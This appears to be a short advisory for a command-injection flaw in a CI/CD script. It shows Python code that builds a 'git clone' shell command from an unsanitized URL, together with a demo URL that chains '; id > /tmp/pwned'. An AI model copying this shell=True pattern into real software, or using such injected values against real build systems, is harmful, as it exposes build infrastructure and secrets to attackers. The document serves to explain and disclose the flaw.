---

CVE-2026-11120 – Command Injection via Git URL in CI/CD Pipeline

Program Code (Python)

# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys

def clone_and_build(repo_url):
    # Vulnerability: repo_url can contain shell metacharacters
    cmd = f"git clone {repo_url} /tmp/repo"
    subprocess.check_call(cmd, shell=True)
    # Build steps...

if __name__ == '__main__':
    # Simulate attacker-controlled input
    malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
    clone_and_build(malicious_url)

CVE-2026-11120 – Command Injection via Git URL in CI/CD

Overview

A CI/CD pipeline script uses unsanitized user‑supplied Git repository URLs in a shell command. An attacker can inject shell commands by including special characters (e.g., ;, &&) in the URL, leading to arbitrary command execution on the build server.

Vulnerability Details

• Type: Command Injection
• Impact: Compromise of build infrastructure, secret leakage.
• Root Cause: The repository URL is concatenated directly into a shell command without escaping or validation.

Exploit Demonstration

Run the vulnerable script:

python cicd_build.py

It executes the injected id command, creating /tmp/pwned.